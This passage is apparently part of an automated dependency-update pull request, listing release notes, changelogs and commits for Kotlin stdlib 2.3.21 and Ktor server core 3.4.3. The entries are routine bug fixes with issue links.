href=\"https://youtrack.jetbrains.com/issue/KT-85399\"\u003e\u003ccode\u003eKT-85399\u003c/code\u003e\u003c/a\u003e Kotlin/Native: TypeCastException when casting ObjC Protocol MetaClass with genericSafeCasts enabled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85508\"\u003e\u003ccode\u003eKT-85508\u003c/code\u003e\u003c/a\u003e K/N: TypeCastException when using nw_parameters_create_secure_tcp block parameter on 2.3.20\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Gradle\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84729\"\u003e\u003ccode\u003eKT-84729\u003c/code\u003e\u003c/a\u003e Update Gradle plugin-publish version to enable configuration cache badge on Gradle plugins portal\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Gradle. Compiler plugins\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85257\"\u003e\u003ccode\u003eKT-85257\u003c/code\u003e\u003c/a\u003e AGP/Compose: MergeMappingFileTask clears R8 artifacts due to \u003ccode\u003e@OutputDirectory\u003c/code\u003e annotation on AGP 9.1+\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Scripts\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85105\"\u003e\u003ccode\u003eKT-85105\u003c/code\u003e\u003c/a\u003e Scripts: JVM backend internal error (IR lowering) when scratch file contains anonymous object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85103\"\u003e\u003ccode\u003eKT-85103\u003c/code\u003e\u003c/a\u003e Exception while generating code when explain destructuring decls\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84842\"\u003e\u003ccode\u003eKT-84842\u003c/code\u003e\u003c/a\u003e scriptCompilationClasspathFromContext behavior changed from 2.3.10 to 2.3.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85029\"\u003e\u003ccode\u003eKT-85029\u003c/code\u003e\u003c/a\u003e Kotlin Scripting: ScriptDiagnostic reports \u0026quot;at null\u0026quot; instead of error location\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Statistics (FUS)\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/JetBrains/kotlin/blob/master/ChangeLog.md\"\u003eorg.jetbrains.kotlin:kotlin-stdlib's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2.3.21\u003c/h2\u003e\n\u003ch3\u003eBackend. Wasm\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84610\"\u003e\u003ccode\u003eKT-84610\u003c/code\u003e\u003c/a\u003e [Wasm] Failed to compile klibs in IC mode\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCompiler\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84566\"\u003e\u003ccode\u003eKT-84566\u003c/code\u003e\u003c/a\u003e Prevent launching Default dispatcher threads from IJ SDK in kotlin compiler\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85358\"\u003e\u003ccode\u003eKT-85358\u003c/code\u003e\u003c/a\u003e Native: roll back the workaround for KT-84678 once MapLibre has been properly fixed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85626\"\u003e\u003ccode\u003eKT-85626\u003c/code\u003e\u003c/a\u003e  \u003ccode\u003e@JvmRecord\u003c/code\u003e in commonMain breaks compileCommonMainKotlinMetadata with \u0026quot;Cannot access 'java.lang.Record'\u0026quot;\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85405\"\u003e\u003ccode\u003eKT-85405\u003c/code\u003e\u003c/a\u003e Postpone/Revert \u003ccode\u003eDontIgnoreUpperBoundViolatedOnImplicitArguments\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84678\"\u003e\u003ccode\u003eKT-84678\u003c/code\u003e\u003c/a\u003e K/N: Undefined symbol from SPM-added ObjC frameworks when linking iOS target\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85021\"\u003e\u003ccode\u003eKT-85021\u003c/code\u003e\u003c/a\u003e False positive SUBCLASS_CANT_CALL_COMPANION_PROTECTED_NON_STATIC error in multi-module project\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eJavaScript\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-82395\"\u003e\u003ccode\u003eKT-82395\u003c/code\u003e\u003c/a\u003e Support top-level declarations from compiler plugins in JS incremental compilation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84475\"\u003e\u003ccode\u003eKT-84475\u003c/code\u003e\u003c/a\u003e K/JS: false-positive exportability warnings in multi-module project\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84633\"\u003e\u003ccode\u003eKT-84633\u003c/code\u003e\u003c/a\u003e Kotlin/JS: \u0026quot;Serializer for class not found\u0026quot; error when IR output granularity is \u003ccode\u003ewhole-program\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85047\"\u003e\u003ccode\u003eKT-85047\u003c/code\u003e\u003c/a\u003e Kotlin/JS: \u003ccode\u003e@JsStatic\u003c/code\u003e on suspend fun of class companion generates incorrect d.ts\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84517\"\u003e\u003ccode\u003eKT-84517\u003c/code\u003e\u003c/a\u003e K/JS: bad mappings data in outputted Kotlin stdlib source map\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eLibraries\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-71848\"\u003e\u003ccode\u003eKT-71848\u003c/code\u003e\u003c/a\u003e Kotlinx.metadata: Add \u003ccode\u003eCompilerPluginData\u003c/code\u003e into Km API\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eNative. C and ObjC Import\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85399\"\u003e\u003ccode\u003eKT-85399\u003c/code\u003e\u003c/a\u003e Kotlin/Native: TypeCastException when casting ObjC Protocol MetaClass with genericSafeCasts enabled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85508\"\u003e\u003ccode\u003eKT-85508\u003c/code\u003e\u003c/a\u003e K/N: TypeCastException when using nw_parameters_create_secure_tcp block parameter on 2.3.20\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Gradle\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84729\"\u003e\u003ccode\u003eKT-84729\u003c/code\u003e\u003c/a\u003e Update Gradle plugin-publish version to enable configuration cache badge on Gradle plugins portal\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Gradle. Compiler plugins\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85257\"\u003e\u003ccode\u003eKT-85257\u003c/code\u003e\u003c/a\u003e AGP/Compose: MergeMappingFileTask clears R8 artifacts due to \u003ccode\u003e@OutputDirectory\u003c/code\u003e annotation on AGP 9.1+\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Scripts\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85105\"\u003e\u003ccode\u003eKT-85105\u003c/code\u003e\u003c/a\u003e Scripts: JVM backend internal error (IR lowering) when scratch file contains anonymous object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85103\"\u003e\u003ccode\u003eKT-85103\u003c/code\u003e\u003c/a\u003e Exception while generating code when explain destructuring decls\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84842\"\u003e\u003ccode\u003eKT-84842\u003c/code\u003e\u003c/a\u003e scriptCompilationClasspathFromContext behavior changed from 2.3.10 to 2.3.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85029\"\u003e\u003ccode\u003eKT-85029\u003c/code\u003e\u003c/a\u003e Kotlin Scripting: ScriptDiagnostic reports \u0026quot;at null\u0026quot; instead of error location\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Statistics (FUS)\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85628\"\u003e\u003ccode\u003eKT-85628\u003c/code\u003e\u003c/a\u003e KGP: composite build FUS metrics fail on access of 'configurationTimeMetrics'\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/fea1ad8c18995b80d1ca0e3917056104613d23db\"\u003e\u003ccode\u003efea1ad8\u003c/code\u003e\u003c/a\u003e Add ChangeLog for 2.3.21-RC2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/09c341e858b8f70d92955fc6b67d6a04962760b4\"\u003e\u003ccode\u003e09c341e\u003c/code\u003e\u003c/a\u003e disable swift export execution tests in order to update macos\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/67a08681cdd53b318217e6f35d835e0ab3b2e31c\"\u003e\u003ccode\u003e67a0868\u003c/code\u003e\u003c/a\u003e Avoid accessing KotlinNativeLink taskProvider when task was not executed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/f89e5dbc1867714116e17be1066d6c68e30cc2d4\"\u003e\u003ccode\u003ef89e5db\u003c/code\u003e\u003c/a\u003e [K/N] Disable TSAN in runtime tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/45d6c859c027c4e82b14b4861e36bc125600e2b0\"\u003e\u003ccode\u003e45d6c85\u003c/code\u003e\u003c/a\u003e [K/N] Don't generate generic safe casts for Objective-C types\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/9261a6f0790b7504e0223e9e0a0dd242fe0cc3f7\"\u003e\u003ccode\u003e9261a6f\u003c/code\u003e\u003c/a\u003e [K/N][tests] Add a reproducer for KT-85508\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/c9ab9db37a191f2eb1ce0f5b7ff502ca9d4b3a0d\"\u003e\u003ccode\u003ec9ab9db\u003c/code\u003e\u003c/a\u003e [K/N][tests] Add a reproducer for KT-85399\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/502e84484e520fbe1a93958be8da97e06a04d7ed\"\u003e\u003ccode\u003e502e844\u003c/code\u003e\u003c/a\u003e Explain: fix for destructuring declarations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/0c26485d83f532aa8afbb868895061b7132fd7c8\"\u003e\u003ccode\u003e0c26485\u003c/code\u003e\u003c/a\u003e Explain: fix for object literals\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/68a9e3f99fcd59c5440970f5f34aff09ce462a69\"\u003e\u003ccode\u003e68a9e3f\u003c/code\u003e\u003c/a\u003e [minor] fix testdata name in explain test\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/JetBrains/kotlin/compare/v2.3.10...v2.3.21\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-core` from 3.3.1 to 3.4.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-core's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.4.2\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 27 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9327\"\u003eKTOR-9327\u003c/a\u003e Curl: The WebSockets maxFrameSize option does not have an effect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9383\"\u003eKTOR-9383\u003c/a\u003e CaseInsensitiveString: reduce allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9385\"\u003eKTOR-9385\u003c/a\u003e Netty: Allocation micro-optimizations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9403\"\u003eKTOR-9403\u003c/a\u003e Darwin: Unnecessary ByteArray copy for each received response chunk\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9412\"\u003eKTOR-9412\u003c/a\u003e KDoc for \u003ccode\u003eformFieldLimit\u003c/code\u003e documents incorrect default value (64 KB instead of 50 MiB)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9351\"\u003eKTOR-9351\u003c/a\u003e OpenAPI: Incorrect schema generated for nested classes with lists\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9361\"\u003eKTOR-9361\u003c/a\u003e WebSockets: \u003ccode\u003eJsWebSocketSession._closeReason\u003c/code\u003e is completed twice\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9437\"\u003eKTOR-9437\u003c/a\u003e Fix GraalVM Compatibility\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9424\"\u003eKTOR-9424\u003c/a\u003e Logging: OkHttp format should log the full requested URL\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8540\"\u003eKTOR-8540\u003c/a\u003e Logging: IllegalStateException is thrown when response is cached and deserialization fails\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9370\"\u003eKTOR-9370\u003c/a\u003e OpenAPI: NoSuchMethodError - getLOCAL_FUNCTION_FOR_LAMBDA with Kotlin 2.3.20-*\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9421\"\u003eKTOR-9421\u003c/a\u003e Netty: active SSE connection blocks HTTP/2 response flushing for other requests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-3390\"\u003eKTOR-3390\u003c/a\u003e JS browser: \u0026quot;Failed to execute 'digest' on 'SubtleCrypto'\u0026quot; error when using digest auth\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-5977\"\u003eKTOR-5977\u003c/a\u003e Compression: The encoders buffer streaming response\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9393\"\u003eKTOR-9393\u003c/a\u003e Certificate pinning matches against all pins instead of hostname-scoped pins\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8751\"\u003eKTOR-8751\u003c/a\u003e DI: AmbiguousDependencyException when named dependency is overridden in testApplication\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9039\"\u003eKTOR-9039\u003c/a\u003e Bearer Auth: Request body transformed with jsonIO isn't sent over again after refreshToken request\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9404\"\u003eKTOR-9404\u003c/a\u003e Darwin: Memory leak in KtorNSURLSessionDelegate\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9399\"\u003eKTOR-9399\u003c/a\u003e LinkageError when running Ktor app with development mode inside Spring Boot / Amper fat-JAR\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9402\"\u003eKTOR-9402\u003c/a\u003e NoSuchMethodError on RawWebSocket after 3.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9372\"\u003eKTOR-9372\u003c/a\u003e Frame.Text.readText() causes infinite loop and 100% CPU on Kotlin/Native when WebSocket frame data is malformed or connection drops unexpectedly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9387\"\u003eKTOR-9387\u003c/a\u003e ZstdEncoder decode fails when source data is split into multiple Zstd frames\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.4.1\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 3 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-core's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.4.3\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e3.4.2\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 27 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9327\"\u003eKTOR-9327\u003c/a\u003e Curl: The WebSockets maxFrameSize option does not have an effect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9383\"\u003eKTOR-9383\u003c/a\u003e CaseInsensitiveString: reduce allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9385\"\u003eKTOR-9385\u003c/a\u003e Netty: Allocation micro-optimizations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9403\"\u003eKTOR-9403\u003c/a\u003e Darwin: Unnecessary ByteArray copy for each received response chunk\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9412\"\u003eKTOR-9412\u003c/a\u003e KDoc for \u003ccode\u003eformFieldLimit\u003c/code\u003e documents incorrect default value (64 KB instead of 50 MiB)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9351\"\u003eKTOR-9351\u003c/a\u003e OpenAPI: Incorrect schema generated for nested classes with lists\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9361\"\u003eKTOR-9361\u003c/a\u003e WebSockets: \u003ccode\u003eJsWebSocketSession._closeReason\u003c/code\u003e is completed twice\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9437\"\u003eKTOR-9437\u003c/a\u003e Fix GraalVM Compatibility\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9424\"\u003eKTOR-9424\u003c/a\u003e Logging: OkHttp format should log the full requested URL\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8540\"\u003eKTOR-8540\u003c/a\u003e Logging: IllegalStateException is thrown when response is cached and deserialization fails\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9370\"\u003eKTOR-9370\u003c/a\u003e OpenAPI: NoSuchMethodError - getLOCAL_FUNCTION_FOR_LAMBDA with Kotlin 2.3.20-*\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9421\"\u003eKTOR-9421\u003c/a\u003e Netty: active SSE connection blocks HTTP/2 response flushing for other requests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-3390\"\u003eKTOR-3390\u003c/a\u003e JS browser: \u0026quot;Failed to execute 'digest' on 'SubtleCrypto'\u0026quot; error when using digest auth\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-5977\"\u003eKTOR-5977\u003c/a\u003e Compression: The encoders buffer streaming response\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9393\"\u003eKTOR-9393\u003c/a\u003e Certificate pinning matches against all pins instead of hostname-scoped pins\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8751\"\u003eKTOR-8751\u003c/a\u003e DI: AmbiguousDependencyException when named dependency is overridden in testApplication\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9039\"\u003eKTOR-9039\u003c/a\u003e Bearer Auth: Request body transformed with jsonIO isn't sent over again after refreshToken request\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9404\"\u003eKTOR-9404\u003c/a\u003e Darwin: Memory leak in KtorNSURLSessionDelegate\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9399\"\u003eKTOR-9399\u003c/a\u003e LinkageError when running Ktor app with development mode inside Spring Boot / Amper fat-JAR\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9402\"\u003eKTOR-9402\u003c/a\u003e NoSuchMethodError on RawWebSocket after 